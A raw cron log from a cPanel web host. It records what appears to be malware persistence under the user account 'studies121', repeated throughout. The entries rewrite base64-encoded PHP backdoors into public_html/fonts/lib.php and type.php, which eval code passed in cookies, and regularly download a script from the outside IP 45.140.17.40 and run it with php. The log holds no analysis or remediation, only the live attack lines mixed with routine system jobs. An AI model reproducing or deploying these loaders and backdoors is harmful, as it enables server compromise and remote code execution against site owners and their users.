Sep  5 02:31:01 ip-184-168-122-23 CROND[25727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:31:01 ip-184-168-122-23 CROND[25728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:32:01 ip-184-168-122-23 CROND[25816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:32:01 ip-184-168-122-23 CROND[25818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:32:01 ip-184-168-122-23 CROND[25820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:32:01 ip-184-168-122-23 CROND[25819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:32:01 ip-184-168-122-23 CROND[25822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:33:02 ip-184-168-122-23 CROND[25914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:33:02 ip-184-168-122-23 CROND[25917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:33:02 ip-184-168-122-23 CROND[25916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:33:02 ip-184-168-122-23 CROND[25915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:34:01 ip-184-168-122-23 CROND[26121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:34:01 ip-184-168-122-23 CROND[26122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:34:01 ip-184-168-122-23 CROND[26124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:34:01 ip-184-168-122-23 CROND[26125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:34:01 ip-184-168-122-23 CROND[26126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:35:01 ip-184-168-122-23 CROND[26218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:35:01 ip-184-168-122-23 CROND[26220]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 02:35:01 ip-184-168-122-23 CROND[26226]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 02:35:01 ip-184-168-122-23 CROND[26225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:35:01 ip-184-168-122-23 CROND[26223]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:35:01 ip-184-168-122-23 CROND[26224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:35:01 ip-184-168-122-23 CROND[26222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:35:01 ip-184-168-122-23 CROND[26219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:36:01 ip-184-168-122-23 CROND[26325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:36:01 ip-184-168-122-23 CROND[26326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:36:01 ip-184-168-122-23 CROND[26324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:36:01 ip-184-168-122-23 CROND[26328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:36:01 ip-184-168-122-23 CROND[26327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:37:01 ip-184-168-122-23 CROND[26433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:37:01 ip-184-168-122-23 CROND[26434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:37:01 ip-184-168-122-23 CROND[26435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:37:01 ip-184-168-122-23 CROND[26436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:38:01 ip-184-168-122-23 CROND[26517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:38:01 ip-184-168-122-23 CROND[26518]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:38:01 ip-184-168-122-23 CROND[26519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:38:01 ip-184-168-122-23 CROND[26520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:38:01 ip-184-168-122-23 CROND[26521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:39:01 ip-184-168-122-23 CROND[26604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:39:01 ip-184-168-122-23 CROND[26605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:39:01 ip-184-168-122-23 CROND[26606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:39:01 ip-184-168-122-23 CROND[26608]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 02:39:01 ip-184-168-122-23 CROND[26607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:40:01 ip-184-168-122-23 CROND[26702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:40:02 ip-184-168-122-23 CROND[26706]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 02:40:02 ip-184-168-122-23 CROND[26703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:40:02 ip-184-168-122-23 CROND[26704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:40:02 ip-184-168-122-23 CROND[26705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:40:02 ip-184-168-122-23 CROND[26709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:40:02 ip-184-168-122-23 CROND[26710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:40:02 ip-184-168-122-23 CROND[26713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:41:02 ip-184-168-122-23 CROND[26906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:41:02 ip-184-168-122-23 CROND[26909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:41:02 ip-184-168-122-23 CROND[26907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:41:02 ip-184-168-122-23 CROND[26908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:42:01 ip-184-168-122-23 CROND[27016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:42:01 ip-184-168-122-23 CROND[27020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:42:01 ip-184-168-122-23 CROND[27018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:42:01 ip-184-168-122-23 CROND[27021]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:42:01 ip-184-168-122-23 CROND[27019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:43:01 ip-184-168-122-23 CROND[27108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:43:01 ip-184-168-122-23 CROND[27109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:43:01 ip-184-168-122-23 CROND[27110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
